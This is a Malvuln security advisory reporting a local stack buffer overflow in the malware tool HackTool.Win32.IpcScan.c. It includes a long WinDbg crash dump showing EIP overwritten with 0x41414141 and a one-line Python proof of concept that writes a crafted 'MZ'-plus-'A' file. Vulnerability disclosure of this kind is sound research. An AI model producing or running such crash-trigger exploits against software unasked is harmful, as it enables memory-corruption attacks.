HackTool.Win32.IpcScan.c / Local Stack Buffer Overflow

2022.04.15
us malvuln (US) us
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/8f44374d587eb1657d25da9628cb2b87.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: HackTool.Win32.IpcScan.c Vulnerability: Local Stack Buffer Overflow Description: Loading a specially crafted PE file will cause a stack buffer overflow overwriting the ECX and EIP registers. Family: IpcScan Type: PE32 MD5: 8f44374d587eb1657d25da9628cb2b87 Vuln ID: MVID-2022-0549 Disclosure: 04/14/2022 Memory Dump: (d60.c9c): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=77729d70 esi=00000000 edi=00000000 eip=41414141 esp=000a13f0 ebp=000a1410 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246 41414141 ?? ??? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for HackTool.Win32.IpcScan.c.8f44374d587eb1657d25da9628cb2b87.exe *** ERROR: Module load completed but symbols could not be loaded for HackTool.Win32.IpcScan.c.8f44374d587eb1657d25da9628cb2b87.exe Matched: 744f0021 msvcrt!ReadString (void) Matched: 744f4491 msvcrt!ReadString (void) Matched: 744faf90 msvcrt!ReadString (void) Matched: 744fbf79 msvcrt!ReadString (void) Matched: 744ffe60 msvcrt!ReadString (void) Matched: 745010d1 msvcrt!ReadString (void) Matched: 7450e2b4 msvcrt!ReadString (void) Matched: 7450f52e msvcrt!ReadString (void) Matched: 745119d4 msvcrt!ReadString (void) Matched: 74512d75 msvcrt!ReadString (void) FAULTING_IP: msvcrt!ReadString+12f 7450e3e3 8801 mov byte ptr [ecx],al EXCEPTION_RECORD: 0019ec24 -- (.exr 0x19ec24) ExceptionAddress: 7450e3e3 (msvcrt!ReadString+0x0000012f) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 001a0000 Attempt to write to address 001a0000 PROCESS_NAME: HackTool.Win32.IpcScan.c.8f44374d587eb1657d25da9628cb2b87.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000008 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: +12f 41414141 ?? ??? FAILED_INSTRUCTION_ADDRESS: +12f 41414141 ?? ??? MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 IP_ON_HEAP: 41414141 The fault address in not in any loaded module, please check your build's rebase log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 CONTEXT: 0019ec74 -- (.cxr 0x19ec74) eax=00000041 ebx=00000020 ecx=001a0000 edx=0019f18c esi=0019f15c edi=0019f180 eip=7450e3e3 esp=0019f0d4 ebp=0019f0f8 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246 msvcrt!ReadString+0x12f: 7450e3e3 8801 mov byte ptr [ecx],al ds:002b:001a0000=41 Resetting default scope ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD] LAST_CONTROL_TRANSFER: from 7450f0b8 to 7450e3e3 FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 STACK_TEXT: 0019f0d4 7450e3e3 msvcrt!ReadString+0x12f 0019f100 7450f0b8 msvcrt!_input_l+0xab8 0019f310 745030e0 msvcrt!vfscanf+0xe0 0019f358 74502fcb msvcrt!fscanf+0x1b 0019f374 00402b98 hacktool_win32_ipcscan_c+0x2b98 0019f380 0019f394 unknown!unknown+0x0 STACK_COMMAND: .cxr 000000000019EC74 ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 19f0d4 ; kb SYMBOL_NAME: msvcrt!ReadString FOLLOWUP_NAME: MachineOwner MODULE_NAME: msvcrt IMAGE_NAME: msvcrt.dll DEBUG_FLR_IMAGE_TIMESTAMP: 692918b7 FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_msvcrt.dll!ReadString BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_msvcrt!ReadString Exploit/PoC: python -c "print('MZ'+'A'*10000)" > DOOM.exe Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).


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